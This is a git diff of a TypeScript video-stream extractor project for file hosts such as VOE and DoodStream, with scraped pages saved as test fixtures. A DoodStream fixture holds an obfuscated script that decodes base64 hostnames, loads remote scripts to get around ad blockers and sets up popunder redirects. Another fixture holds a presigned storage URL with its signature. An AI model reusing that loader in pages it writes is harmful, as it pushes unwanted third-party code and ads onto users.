export class Voe extends Extractor { export class Voe extends Extractor {
public readonly id = 'voe'; public readonly id = 'voe';
public readonly label = 'VOE'; public readonly label = 'VOE (via MediaFlow Proxy)';
public override viaMediaFlowProxy = true; public override viaMediaFlowProxy = true;
@ -37,13 +37,11 @@ export class Voe extends Extractor {
'bradleyviewdoctor.com', 'bradleyviewdoctor.com',
'brittneystandardwestern.com', 'brittneystandardwestern.com',
'brucevotewithin.com', 'brucevotewithin.com',
'christopheruntilpoint.com',
'chromotypic.com', 'chromotypic.com',
'chuckle-tube.com', 'chuckle-tube.com',
'cindyeyefinal.com', 'cindyeyefinal.com',
'counterclockwisejacky.com', 'counterclockwisejacky.com',
'crownmakermacaronicism.com', 'crownmakermacaronicism.com',
'crystaltreatmenteast.com',
'cyamidpulverulence530.com', 'cyamidpulverulence530.com',
'diananatureforeign.com', 'diananatureforeign.com',
'donaldlineelse.com', 'donaldlineelse.com',
@ -72,21 +70,16 @@ export class Voe extends Extractor {
'kathleenmemberhistory.com', 'kathleenmemberhistory.com',
'kellywhatcould.com', 'kellywhatcould.com',
'kennethofficialitem.com', 'kennethofficialitem.com',
'kinoger.ru',
'kristiesoundsimply.com', 'kristiesoundsimply.com',
'lancewhosedifficult.com',
'launchreliantcleaverriver.com', 'launchreliantcleaverriver.com',
'lauradaydo.com',
'lisatrialidea.com', 'lisatrialidea.com',
'loriwithinfamily.com', 'loriwithinfamily.com',
'lukecomparetwo.com', 'lukecomparetwo.com',
'lukesitturn.com',
'mariatheserepublican.com', 'mariatheserepublican.com',
'matriculant401merited.com', 'matriculant401merited.com',
'maxfinishseveral.com', 'maxfinishseveral.com',
'metagnathtuggers.com', 'metagnathtuggers.com',
'michaelapplysome.com', 'michaelapplysome.com',
'mikaylaarealike.com',
'nathanfromsubject.com', 'nathanfromsubject.com',
'nectareousoverelate.com', 'nectareousoverelate.com',
'nonesnanking.com', 'nonesnanking.com',
@ -104,7 +97,6 @@ export class Voe extends Extractor {
'sethniceletter.com', 'sethniceletter.com',
'shannonpersonalcost.com', 'shannonpersonalcost.com',
'simpulumlamerop.com', 'simpulumlamerop.com',
'smoki.cc',
'stevenimaginelittle.com', 'stevenimaginelittle.com',
'strawberriesporail.com', 'strawberriesporail.com',
'telyn610zoanthropy.com', 'telyn610zoanthropy.com',
@ -114,7 +106,6 @@ export class Voe extends Extractor {
'uptodatefinishconferenceroom.com', 'uptodatefinishconferenceroom.com',
'v-o-e-unblock.com', 'v-o-e-unblock.com',
'valeronevijao.com', 'valeronevijao.com',
'walterprettytheir.com',
'wolfdyslectic.com', 'wolfdyslectic.com',
'yodelswartlike.com', 'yodelswartlike.com',
].includes(url.host); ].includes(url.host);
@ -123,24 +114,13 @@ export class Voe extends Extractor {
} }
public override normalize(url: URL): URL { public override normalize(url: URL): URL {
return new URL(`/${url.pathname.replace(/\/+$/, '').split('/').at(-1)}`, url); return new URL(`/${url.pathname.split('/').at(-1)}`, url);
} }
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> { protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
const headers = { Referer: meta.referer ?? url.href }; const headers = { Referer: meta.referer ?? url.href };
let html: string; const html = await this.fetcher.text(ctx, url, { headers });
try {
html = await this.fetcher.text(ctx, url, { headers });
} catch (error) {
/* istanbul ignore next */
if (error instanceof NotFoundError && !url.href.includes('/e/')) {
return await this.extractInternal(ctx, new URL(`/e${url.pathname}`, url.origin), meta);
}
/* istanbul ignore next */
throw error;
}
const redirectMatch = html.match(/window\.location\.href\s*=\s*'([^']+)/); const redirectMatch = html.match(/window\.location\.href\s*=\s*'([^']+)/);
if (redirectMatch && redirectMatch[1]) { if (redirectMatch && redirectMatch[1]) {
@ -155,24 +135,22 @@ export class Voe extends Extractor {
const title = $('meta[name="description"]').attr('content')?.trim().replace(/^Watch /, '').replace(/ at VOE$/, '').trim(); const title = $('meta[name="description"]').attr('content')?.trim().replace(/^Watch /, '').replace(/ at VOE$/, '').trim();
const sizeMatch = html.matchAll(/[\d.]+ ?[GM]B/g).toArray().at(-1); const sizeMatch = html.matchAll(/[\d.]+ ?[GM]B/g).toArray().at(-1);
const size = sizeMatch ? bytes.parse(sizeMatch[0] as string) as number : /* istanbul ignore next */null; const heightMatch = html.match(/<b>(\d{3,})p<\/b>/);
const playlistUrl = await buildMediaFlowProxyExtractorStreamUrl(ctx, this.fetcher, 'Voe', url, headers); const playlistUrl = await buildMediaFlowProxyExtractorStreamUrl(ctx, this.fetcher, 'Voe', url, headers);
const heightMatch = html.match(/<b>(\d{3,})p<\/b>/);
const height = heightMatch
? parseInt(heightMatch[1] as string)
: meta.height ?? await guessHeightFromPlaylist(ctx, this.fetcher, playlistUrl);
return [ return [
{ {
url: playlistUrl, url: playlistUrl,
format: Format.hls, format: Format.hls,
label: this.label,
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
ttl: this.ttl,
meta: { meta: {
...meta, ...meta,
height,
title, title,
...(size && size > 16777216 && { bytes: size }), ...(sizeMatch && { bytes: bytes.parse(sizeMatch[0] as string) as number }),
...(heightMatch && { height: parseInt(heightMatch[1] as string) }),
}, },
}, },
]; ];

View file

@ -1,4 +1,4 @@
import { Context, Format, InternalUrlResult, Meta } from '../types'; import { Context, Format, Meta, UrlResult } from '../types';
import { Extractor } from './Extractor'; import { Extractor } from './Extractor';
export class YouTube extends Extractor { export class YouTube extends Extractor {
@ -12,7 +12,7 @@ export class YouTube extends Extractor {
return null !== url.host.match(/youtube/) && url.searchParams.has('v'); return null !== url.host.match(/youtube/) && url.searchParams.has('v');
} }
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> { protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
const headers = { Referer: meta.referer ?? url.href }; const headers = { Referer: meta.referer ?? url.href };
const html = await this.fetcher.text(ctx, url, { headers }); const html = await this.fetcher.text(ctx, url, { headers });
@ -24,6 +24,9 @@ export class YouTube extends Extractor {
url, url,
format: Format.unknown, format: Format.unknown,
ytId: url.searchParams.get('v') as string, ytId: url.searchParams.get('v') as string,
label: this.label,
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
ttl: this.ttl,
meta: { meta: {
...meta, ...meta,
title: titleMatch[1] as string, title: titleMatch[1] as string,

View file

@ -0,0 +1 @@
{"server":"nginx","date":"Sun, 08 Jun 2025 19:20:59 GMT","content-type":"video/mp4","content-length":791702409,"last-modified":"Wed, 03 Apr 2024 09:53:31 GMT","connection":"keep-alive","etag":"660d271b-2f306b89","access-control-allow-origin":"*","accept-ranges":"bytes"}

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View file

@ -1,2 +1 @@
<!doctype html><html lang="en"><head> <meta charset="utf-8"> <title>Video not found | DoodStream</title> <link rel="preconnect" href="//i.doodcdn.io"><link rel="preconnect" href="//cdnjs.cloudflare.com"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script> <link rel="stylesheet" href="//i.doodcdn.io/theme_2/css/bootstrap.min.css"> <link rel="stylesheet" type="text/css" href="//i.doodcdn.io/theme_2/css/style.css" /></head><body> <style type="text/css"> .not_found img {height:250px !important;} @media (max-width: 768px){.not_found h1{font-size:1.8rem;}.not_found img {height:200px !important;margin: 0 auto 15px;}} @media (max-width: 480px){.not_found h1{font-size:1.4rem;}.not_found img {height:120px !important;margin: 0 auto 15px;}.not_found p{margin-top: -5px;}} </style> <div class="container pt-5 not_found"> <div class="row"> <div class="col-md-12 pt-2 text-center"> <img src="//i.doodcdn.io/img/no_video_3.svg"> <h1>Not Found</h1> <p>video you are looking for is not found.</p> </div> </div> </div><script data-cfasync="false" src="//d1f05vr3sjsuy7.cloudfront.net/?srvfd=908056"></script><script data-cfasync="false" async type="text/javascript" src="//faqirsgoliard.top/gHzOaAdOhbZ/71405"></script><script data-cfasync="false" async type="text/javascript" src="//faqirsgoliard.top/r67c0fc81985e5/70849"></script><script type="text/javascript" data-cfasync="false">/*<![CDATA[/* */(function(){var g=window,r="ca0967284e67bc53cb5b626985619403",w=[["siteId",317+185*82*507-3600486],["minBid",0],["popundersPerIP","0"],["delayBetween",300],["default","https://strettechoco.com/iYa7dlULceKw/27615"],["defaultPerDay",0],["topmostLayer","never"]],n=["d3d3LmJsb2NrYWRzbm90LmNvbS9iYWphLm1pbi5jc3M=","ZG5oZmk1bm4yZHQ2Ny5jbG91ZGZyb250Lm5ldC9RVHd0eC91YWxnZWJyYS5taW4uanM=","d3d3LmJibHZwbGd1b21hLmNvbS9mYWphLm1pbi5jc3M=","d3d3LndqZ3BzcGt4empiZGd1LmNvbS9NTmlIWS9rYWxnZWJyYS5taW4uanM="],f=-1,v,q,h=function(){clearTimeout(q);f++;if(n[f]&&!(1766620801000<(new Date).getTime()&&1<f)){v=g.document.createElement("script");v.type="text/javascript";v.async=!0;var o=g.document.getElementsByTagName("script")[0];v.src="https://"+atob(n[f]);v.crossOrigin="anonymous";v.onerror=h;v.onload=function(){clearTimeout(q);g[r.slice(0,16)+r.slice(0,16)]||h()};q=setTimeout(h,5E3);o.parentNode.insertBefore(v,o)}};if(!g[r]){try{Object.freeze(g[r]=w)}catch(e){}h()}})();/*]]>/* */</script><script defer src="https://static.cloudflareinsights.com/beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015" integrity="sha512-ZpsOmlRQV6y907TI0dKBHq9Md29nnaEIPlkf84rnaERnq6zvWvPUqr2ft8M1aS28oN72PdrCzSjY4U6VaAw1EQ==" data-cf-beacon='{"version":"2024.11.0","token":"1c76230f8ab248eab0b0f2bf7c205c51","server_timing":{"name":{"cfCacheStatus":true,"cfEdge":true,"cfExtPri":true,"cfL4":true,"cfOrigin":true,"cfSpeedBrain":true},"location_startswith":null}}' crossorigin="anonymous"></script> <!doctype html><html lang="en"><head> <meta charset="utf-8"> <title>Video not found | DoodStream</title> <link rel="preconnect" href="//i.doodcdn.io"><link rel="preconnect" href="//cdnjs.cloudflare.com"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script> <link rel="stylesheet" href="//i.doodcdn.io/theme_2/css/bootstrap.min.css"> <link rel="stylesheet" type="text/css" href="//i.doodcdn.io/theme_2/css/style.css" /></head><body> <style type="text/css"> .not_found img {height:250px !important;} @media (max-width: 768px){.not_found h1{font-size:1.8rem;}.not_found img {height:200px !important;margin: 0 auto 15px;}} @media (max-width: 480px){.not_found h1{font-size:1.4rem;}.not_found img {height:120px !important;margin: 0 auto 15px;}.not_found p{margin-top: -5px;}} </style> <div class="container pt-5 not_found"> <div class="row"> <div class="col-md-12 pt-2 text-center"> <img src="//i.doodcdn.io/img/no_video_3.svg"> <h1>Not Found</h1> <p>video you are looking for is not found.</p> </div> </div> </div><script data-cfasync="false" src="//d1f05vr3sjsuy7.cloudfront.net/?srvfd=908056"></script><script data-cfasync="false" async type="text/javascript" src="//faqirsgoliard.top/gHzOaAdOhbZ/71405"></script><script data-cfasync="false" async type="text/javascript" src="//faqirsgoliard.top/r67c0fc81985e5/70849"></script><script type="text/javascript" data-cfasync="false">/*<![CDATA[/* */(function(){var g=window,r="ca0967284e67bc53cb5b626985619403",w=[["siteId",317+185*82*507-3600486],["minBid",0],["popundersPerIP","0"],["delayBetween",300],["default","https://strettechoco.com/iYa7dlULceKw/27615"],["defaultPerDay",0],["topmostLayer","never"]],n=["d3d3LmJsb2NrYWRzbm90LmNvbS9iYWphLm1pbi5jc3M=","ZG5oZmk1bm4yZHQ2Ny5jbG91ZGZyb250Lm5ldC9RVHd0eC91YWxnZWJyYS5taW4uanM=","d3d3LmJibHZwbGd1b21hLmNvbS9mYWphLm1pbi5jc3M=","d3d3LndqZ3BzcGt4empiZGd1LmNvbS9NTmlIWS9rYWxnZWJyYS5taW4uanM="],f=-1,v,q,h=function(){clearTimeout(q);f++;if(n[f]&&!(1766620801000<(new Date).getTime()&&1<f)){v=g.document.createElement("script");v.type="text/javascript";v.async=!0;var o=g.document.getElementsByTagName("script")[0];v.src="https://"+atob(n[f]);v.crossOrigin="anonymous";v.onerror=h;v.onload=function(){clearTimeout(q);g[r.slice(0,16)+r.slice(0,16)]||h()};q=setTimeout(h,5E3);o.parentNode.insertBefore(v,o)}};if(!g[r]){try{Object.freeze(g[r]=w)}catch(e){}h()}})();/*]]>/* */</script></body></html>
</body></html>

File diff suppressed because one or more lines are too long

View file

@ -0,0 +1 @@
<!doctype html><html lang="en"><head> <meta charset="utf-8"> <title>Video not found | DoodStream</title> <link rel="preconnect" href="//i.doodcdn.io"><link rel="preconnect" href="//cdnjs.cloudflare.com"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script> <link rel="stylesheet" href="//i.doodcdn.io/theme_2/css/bootstrap.min.css"> <link rel="stylesheet" type="text/css" href="//i.doodcdn.io/theme_2/css/style.css" /></head><body> <style type="text/css"> .not_found img {height:250px !important;} @media (max-width: 768px){.not_found h1{font-size:1.8rem;}.not_found img {height:200px !important;margin: 0 auto 15px;}} @media (max-width: 480px){.not_found h1{font-size:1.4rem;}.not_found img {height:120px !important;margin: 0 auto 15px;}.not_found p{margin-top: -5px;}} </style> <div class="container pt-5 not_found"> <div class="row"> <div class="col-md-12 pt-2 text-center"> <img src="//i.doodcdn.io/img/no_video_3.svg"> <h1>Not Found</h1> <p>video you are looking for is not found.</p> </div> </div> </div><script data-cfasync="false" src="//d1f05vr3sjsuy7.cloudfront.net/?srvfd=908056"></script><script data-cfasync="false" async type="text/javascript" src="//faqirsgoliard.top/gHzOaAdOhbZ/71405"></script><script data-cfasync="false" async type="text/javascript" src="//faqirsgoliard.top/r67c0fc81985e5/70849"></script><script type="text/javascript" data-cfasync="false">/*<![CDATA[/* */(function(){var g=window,r="ca0967284e67bc53cb5b626985619403",w=[["siteId",317+185*82*507-3600486],["minBid",0],["popundersPerIP","0"],["delayBetween",300],["default","https://strettechoco.com/iYa7dlULceKw/27615"],["defaultPerDay",0],["topmostLayer","never"]],n=["d3d3LmJsb2NrYWRzbm90LmNvbS9iYWphLm1pbi5jc3M=","ZG5oZmk1bm4yZHQ2Ny5jbG91ZGZyb250Lm5ldC9RVHd0eC91YWxnZWJyYS5taW4uanM=","d3d3LmJibHZwbGd1b21hLmNvbS9mYWphLm1pbi5jc3M=","d3d3LndqZ3BzcGt4empiZGd1LmNvbS9NTmlIWS9rYWxnZWJyYS5taW4uanM="],f=-1,v,q,h=function(){clearTimeout(q);f++;if(n[f]&&!(1766620801000<(new Date).getTime()&&1<f)){v=g.document.createElement("script");v.type="text/javascript";v.async=!0;var o=g.document.getElementsByTagName("script")[0];v.src="https://"+atob(n[f]);v.crossOrigin="anonymous";v.onerror=h;v.onload=function(){clearTimeout(q);g[r.slice(0,16)+r.slice(0,16)]||h()};q=setTimeout(h,5E3);o.parentNode.insertBefore(v,o)}};if(!g[r]){try{Object.freeze(g[r]=w)}catch(e){}h()}})();/*]]>/* */</script></body></html>

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View file

@ -0,0 +1 @@
https://ee317r.cloudatacdn.com/u5kj63yvxddlsdgge7qremqqka27irwiupc4k7o5cikbhjliz6xwv2xr53uq/lco4d3heif~

View file

@ -0,0 +1 @@
https://wec6bnh7rx7rw11bv9e9vslw4rud8nam.5f1ebd98099ce35faeeddb30c1752191.r2.cloudflarestorage.com/icxxqqdsfdc4?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ab085b515b950aae0a86cae59456cacd%2F20250714%2Fauto%2Fs3%2Faws4_request&X-Amz-Date=20250714T154400Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Signature=845ebfa5feedd840027e431f31e013513dd4c4f74364b4e75a2c8ddb213bd97a

View file

@ -0,0 +1 @@
https://aa360cc.cloudatacdn.com/u5kjv4jxytd3sdgge5uogji5dg4huat2pxrm2qibdbm5rlyusvl46iz3u3ta/1f4isxg0tw~

View file

@ -1,230 +0,0 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Fastream</title>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="theme-color" content="#FFF">
<link rel="apple-touch-icon" href="https://fastream.to/images2/favicon/apple-touch-icon.png" sizes="180x180">
<link rel="icon" href="https://fastream.to/images2/favicon/favicon-32x32.png" sizes="32x32">
<link rel="icon" href="https://fastream.to/images2/favicon/favicon-16x16.png" sizes="16x16">
<link rel="manifest" href="https://fastream.to/images2/favicon/site.webmanifest" crossorigin="use-credentials">
<link rel="icon" href="https://fastream.to/images2/favicon/favicon.ico">
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Manrope:wght@400..800&display=swap" rel="stylesheet">
<link href="https://fastream.to/css2/bootstrap.css?" rel="stylesheet">
<link href="https://fastream.to/css2/style.css?" rel="stylesheet">
<script src="https://fastream.to/js2/jquery.min.js?"></script>
<script src="https://fastream.to/js2/bootstrap.bundle.min.js?"></script>
<script src="https://fastream.to/js2/app.js?aс1"></script>
<script src="https://fastream.to/js2/xupload.js?aс1"></script>
</head>
<body class="">
<header class="header">
<div class="container">
<div class="row header-row align-items-center flex-nowrap">
<div class="col-auto flex-grow-1 flex-shrink-1">
<div class="row align-items-center">
<div class="col-auto d-lg-none">
<div class="dropdown">
<button class="btn icon-btn" data-bs-toggle="dropdown" data-bs-offset="0, 16">
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" width="22" height="16" viewBox="0 0 22 16">
<path d="M0 0h22v2H0V0zm0 7h22v2H0V7zm0 7h22v2H0v-2z"></path>
</svg>
</button>
<ul class="dropdown-menu dropdown-menu-end">
<a href="/premium" class="dropdown-item">Premium</a>
<a href="/make_money" class="dropdown-item">Make Money</a>
<a href="/check_files" class="dropdown-item">Link Checker</a>
<a href="/api.html" class="dropdown-item">API</a>
<a href="/tos" class="dropdown-item">Terms of service</a>
<a href="/contact" class="dropdown-item">Contact Us</a>
<a href="/faq" class="dropdown-item">FAQ</a>
</ul>
</div>
</div>
<div class="col-auto me-lg-4">
<a href="/" class="logo">
<img src="https://fastream.to/images2/logo.svg?" alt="">
</a>
</div>
<div class="col-auto d-none d-lg-block">
<nav class="nav">
<a class="nav-link link-body-emphasis" href="/premium">Premium</a>
<a class="nav-link link-body-emphasis" href="/make_money">Make Money</a>
</nav>
</div>
</div>
</div>
<div class="col-auto">
<div class="dropdown header-lang">
<button type="button" class="btn icon-btn" data-bs-toggle="dropdown" data-bs-offset="0, 16">
<img src="https://fastream.to/images2/flags/english.svg" alt="">
</button>
<div class="dropdown-menu">
<a href="/?op=change_lang&lang=English" class="dropdown-item"><img src="https://fastream.to/images2/flags/english.svg" alt="">English</a>
<a href="/?op=change_lang&lang=Russian" class="dropdown-item"><img src="https://fastream.to/images2/flags/russian.svg" alt="">Russian</a>
</div>
</div>
</div>
<div class="col-auto d-none d-lg-block">
<a href="/login.html" class="btn me-2 login-btn link-body-emphasis">Login</a>
<a href="/?op=registration" class="btn btn-primary reg-btn">Sign Up</a>
</div>
<div class="col-auto d-lg-none">
<div class="dropdown">
<button class="btn icon-btn" data-bs-toggle="dropdown" data-bs-offset="0, 16">
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" width="22" height="22" viewBox="0 0 22 22">
<path d="M11 22C4.9 22 0 17.1 0 11S4.9 0 11 0s11 4.9 11 11-4.9 11-11 11zm0-20c-5 0-9 4-9 9s4 9 9 9 9-4 9-9-4-9-9-9z"></path>
<path d="M11 15.3c-3 0-5.4-2.4-5.4-5.4S8 4.4 11 4.4s5.4 2.4 5.4 5.4-2.4 5.5-5.4 5.5zm0-8.9c-1.9 0-3.4 1.5-3.4 3.4s1.5 3.4 3.4 3.4 3.4-1.5 3.4-3.4-1.5-3.4-3.4-3.4z"></path>
<path d="M4.9 19.8c-.2 0-.3 0-.5-.1-.5-.3-.6-.9-.4-1.4 1.5-2.5 3.9-3.8 7-3.8s5.5 1.3 7 3.8c.3.5.1 1.1-.3 1.4-.5.3-1.1.1-1.4-.3-1.1-1.9-2.9-2.8-5.2-2.8-2.4 0-4.1.9-5.3 2.8-.2.2-.6.4-.9.4z"></path>
</svg>
</button>
<div class="dropdown-menu dropdown-menu-end">
<a class="dropdown-item" href="/login.html">Login</a>
<a class="dropdown-item" href="/?op=registration">Sign Up</a>
<a class="dropdown-item" href="/?op=forgot_pass">Forgot your password?</a>
</div>
</div>
</div>
</div>
</div>
</header>
<main>
<div class="container">
<div class="alert alert-danger" role="alert">
No such file=a9rp1d1pqom7
</div>
</div>
</main>
<footer class="footer">
<div class="container">
<div class="footer-main">
<div class="row justify-content-center justify-content-lg-start">
<div class="col-12 col-lg-4 col-xl-3 text-center text-lg-start">
<div class="mb-4">
<a href="https://fastream.to/" class="logo">
<img src="https://fastream.to/images2/logo-w.svg?" alt="">
</a>
</div>
<div class="mb-2 text-uppercase"><!--Share us: --></div>
<div class="mb-3">
<!--span class="me-1">
<a href="#"><img src="https://fastream.to/images2/social/fb.svg" alt=""></a>
</span>
<span class="me-1">
<a href="#"><img src="https://fastream.to/images2/social/red.svg" alt=""></a>
</span>
<span class="me-1">
<a href="#"><img src="https://fastream.to/images2/social/wha.svg" alt=""></a>
</span>
<span class="me-1">
<a href="#"><img src="https://fastream.to/images2/social/x.svg" alt=""></a>
</span>
<span class="me-1">
<a href="#"><img src="https://fastream.to/images2/social/msg.svg" alt=""></a>
</span>
<span class="me-1">
<a href="#"><img src="https://fastream.to/images2/social/in.svg" alt=""></a>
</span-->
</div>
</div>
<div class="col-lg-8 col-xl-7 d-none d-lg-block">
<div class="row">
<div class="col">
<div class="text-uppercase text-dark large">Info</div>
<div class="nav flex-column">
<a href="https://fastream.to/" class="nav-link">Home</a>
<a href="/api.html" class="nav-link">API</a>
<a href="/tos" class="nav-link">Terms of service</a>
</div>
</div>
<div class="col">
<div class="text-uppercase text-dark large">Features</div>
<div class="nav flex-column">
<a href="/premium" class="nav-link">Premium</a>
<a href="/make_money" class="nav-link">Make Money</a>
<a href="/check_files" class="nav-link">Link Checker</a>
</div>
</div>
<div class="col">
<div class="text-uppercase text-dark large">Support</div>
<div class="nav flex-column">
<a href="/contact" class="nav-link">Contact Us</a>
<a href="/faq" class="nav-link">FAQ</a>
</div>
</div>
</div>
</div>
<div class="col-xl-auto text-nowrap text-end d-none d-xl-block">
<a href="https://fastream.to/login.html" class="btn btn-light login-btn me-2">Login</a>
<a href="https://fastream.to/?op=registration" class="btn btn-primary reg-btn">Sign Up</a>
</div>
</div>
</div>
</div>
<div class="footer-bottom small">
<div class="container">
<div class="row align-items-center justify-content-between">
<div class="col-auto">
<div class="text-muted">&copy; 2024 Fastream</div>
</div>
<div class="col-auto">
</div>
</div>
</div>
</div>
</footer>
<div style ="display:none"><script id="_wau1xg">var _wau = _wau || []; _wau.push(["classic", "y7jk20u14x", "1xg"]);</script><script async src="//waust.at/c.js"></script></div>
<script>(function(){function c(){var b=a.contentDocument||a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'993a4e2d4ac5d2ab',t:'MTc2MTMxNzYyMw=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body>
</html>

View file

@ -1,145 +0,0 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>
Watch 300938 570f5a24 c281 484d 93fa 734dabbec813 jkgg 2651705 vidhide mp4
</title>
<META NAME="description" CONTENT="">
<META NAME="keywords" CONTENT="">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="theme-color" content="#FFF">
<link rel="apple-touch-icon" href="/static/images/favicon/apple-touch-icon.png" sizes="180x180">
<link rel="icon" href="/static/images/favicon/favicon-32x32.png" sizes="32x32">
<link rel="icon" href="/static/images/favicon/favicon-16x16.png" sizes="16x16">
<link rel="manifest" href="/static/images/favicon/manifest.json">
<link rel="icon" href="/static/images/favicon/favicon.ico">
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin="crossorigin">
<link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;500;700&display=swap" rel="stylesheet">
<link href="/static/css/style.css?" rel="stylesheet">
<script src="/static/js/jquery-3.2.1.min.js?"></script>
<script src="/static/js/bootstrap.bundle.min.js?"></script>
<script src="/static/js/app.js?"></script>
<script src="/static/js/xupload.js?"></script>
<!-- Google tag (gtag.js) -->
<script async src="https://www.googletagmanager.com/gtag/js?id=G-48ZJD1VPGZ"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'G-48ZJD1VPGZ');
</script>
<!-- Yandex.Metrika counter -->
<script type="text/javascript" >
(function(m,e,t,r,i,k,a){m[i]=m[i]||function(){(m[i].a=m[i].a||[]).push(arguments)};
m[i].l=1*new Date();
for (var j = 0; j < document.scripts.length; j++) {if (document.scripts[j].src === r) { return; }}
k=e.createElement(t),a=e.getElementsByTagName(t)[0],k.async=1,k.src=r,a.parentNode.insertBefore(k,a)})
(window, document, "script", "https://mc.yandex.ru/metrika/tag.js", "ym");
ym(93381808, "init", {
clickmap:true,
trackLinks:true,
accurateTrackBounce:true,
webvisor:true
});
</script>
<noscript><div><img src="https://mc.yandex.ru/watch/93381808" style="position:absolute; left:-9999px;" alt="" /></div></noscript>
<!-- /Yandex.Metrika counter -->
</head>
<body>
<header class="header">
<div class="container">
<div class="row align-items-center flex-nowrap">
<div class="col-auto flex-grow-1 flex-shrink-1">
<div class="row align-items-center">
<div class="col-auto" style="margin: 0 auto;">
<a href="/" class="logo">
<img src="/static/images/logo.svg" alt="">
</a>
</div>
</div>
</div>
</div>
</div>
</header>
<main>
<section class="section">
<div class="container">
<div class="block">
<div class="mb-3">
The file was deleted by administration because it didn&#39;t comply with our Terms of Use:
</div>
<h4>
300938--570f5a24-c281-484d-93fa-734dabbec813--jkgg--2651705-vidhide.mp4
</h4>
<br>
Reason for deletion: <br>
<b class="text-danger">
DMCA request
</b>
</div>
</div>
</section>
</main>
<footer class="footer">
<div class="container">
<div class="row">
<div class="col-lg-4 col-xs-12">
<div class="mb-3 text-center">
<a href="#" class="logo">
<img src="/static/images/logo.svg" alt="">
</a>
</div>
</div>
<div class="col-lg-8 col-xs-12" style="position: relative">
<div class="mb-4 text-center">
<p class="text-muted ">
</p>
</div>
</div>
</div>
</div>
</footer>
<style>
@media (min-width:481px) {
.text-muted {}
}
@media (min-width:961px) {
.text-muted {
position: absolute;
right: 0;
top: 15px
}
}
</style>
</body>
</html>

View file

@ -1,227 +0,0 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Watch tt0307453</title>
<meta name="description" content="">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="theme-color" content="#FFF">
<link rel="apple-touch-icon" href="//filemoon.to/assets/images/favicon/apple-touch-icon.png" sizes="180x180">
<link rel="icon" href="//filemoon.to/assets/images/favicon/favicon-32x32.png" sizes="32x32">
<link rel="icon" href="//filemoon.to/assets/images/favicon/favicon-16x16.png" sizes="16x16">
<link rel="icon" href="//filemoon.to/assets/images/favicon/favicon.ico">
<link rel="preconnect" href="https://fonts.gstatic.com">
<link href="https://fonts.googleapis.com/css2?family=Open+Sans:wght@400;600;700&display=swap" rel="stylesheet">
<link rel="stylesheet" href="//filemoon.to/assets/css/front.css?v=51">
<META NAME="description" CONTENT="Watch video tt0307453">
<META NAME="keywords" CONTENT="tt0307453">
<meta name="robots" content="noindex, nofollow">
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
</head>
<body class="is-home d-flex flex-column justify-content-between ">
<header class="header py-3 py-lg-4">
<div class="container">
<div class="row align-items-center justify-content-between justify-content-lg-start">
<div class="col-auto d-lg-none">
<button class="btn text-muted ssm-toggle-nav px-1" type="button">
<i class="icon icon-menu icon-size-22 text-muted"></i>
</button>
</div>
<div class="col-auto">
<a href="/" class="logo d-block"><img src="//filemoon.to/assets/images/logo.svg" alt=""></a>
</div>
<div class="col-auto d-none d-lg-block flex-lg-grow-1">
<nav class="nav ml-lg-3">
<a class="nav-link" href="/premium">Premium</a>
<a class="nav-link" href="/affiliate">Make Money</a>
</nav>
</div>
<div class="col-auto">
<div class="d-none d-lg-flex">
<a href="/login" class="btn btn-dark sign-btn rounded-pill mr-2">Log In</a>
<a href="/register" class="btn btn-success sign-btn rounded-pill">Sign Up</a>
</div>
<div class="d-lg-none">
<button class="btn text-muted usrmobile-toggle-nav px-1" type="button">
